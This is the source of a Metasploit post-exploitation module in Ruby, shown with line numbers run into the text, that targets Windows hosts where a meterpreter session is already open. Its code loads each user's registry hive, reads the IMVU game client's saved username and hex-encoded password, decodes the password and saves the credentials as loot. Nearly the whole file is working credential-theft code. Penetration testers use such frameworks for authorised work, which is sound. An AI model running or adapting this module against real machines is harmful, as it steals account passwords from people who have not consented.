Path: blob/master/modules/post/windows/gather/credentials/imvu.rb
19535 views
# -*- coding: binary -*-12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67class MetasploitModule < Msf::Post8include Msf::Post::Windows::Registry9include Msf::Auxiliary::Report10include Msf::Post::Windows::UserProfiles1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Windows Gather Credentials IMVU Game Client',17'Description' => %q{18This module extracts account username & password from the IMVU game client19and stores it as loot.20},21'Author' => [22'Shubham Dawra <shubham2dawra[at]gmail.com>' # www.SecurityXploded.com23],24'License' => MSF_LICENSE,25'Platform' => [ 'win' ],26'SessionTypes' => [ 'meterpreter' ],27'Notes' => {28'Stability' => [CRASH_SAFE],29'SideEffects' => [],30'Reliability' => []31}32)33)34end3536def run37fail_with(Failure::BadConfig, 'Only meterpreter sessions are supported by this module') unless session.type == 'meterpreter'3839creds = Rex::Text::Table.new(40'Header' => 'IMVU Credentials',41'Indent' => 1,42'Columns' => [43'User',44'Password'45]46)4748credcount = 049userhives = load_missing_hives50userhives.each do |hive|51next if hive['HKU'].nil?5253vprint_status("Looking at Key #{hive['HKU']}")54subkeys = registry_enumkeys("#{hive['HKU']}\\Software\\IMVU\\")55if subkeys.nil? || subkeys.empty?56print_status('IMVU not installed for this user.')57next58end59user = registry_getvaldata("#{hive['HKU']}\\Software\\IMVU\\username\\", '')60hpass = registry_getvaldata("#{hive['HKU']}\\Software\\IMVU\\password\\", '')61decpass = [ hpass.downcase.gsub(/'/, '').gsub(/\\?x([a-f0-9][a-f0-9])/, '\1') ].pack('H*')62print_good("User=#{user}, Password=#{decpass}")63creds << [user, decpass]64credcount = (credcount + 1)65end6667# clean up after ourselves68unload_our_hives(userhives)69print_status("#{credcount} Credentials were found.")7071if credcount > 072print_status('Storing data...')73path = store_loot(74'imvu.user.creds',75'text/csv',76session,77creds.to_csv,78'imvu_user_creds.csv',79'IMVU User Credentials'80)81print_good("IMVU user credentials saved in: #{path}")82end83end84end858687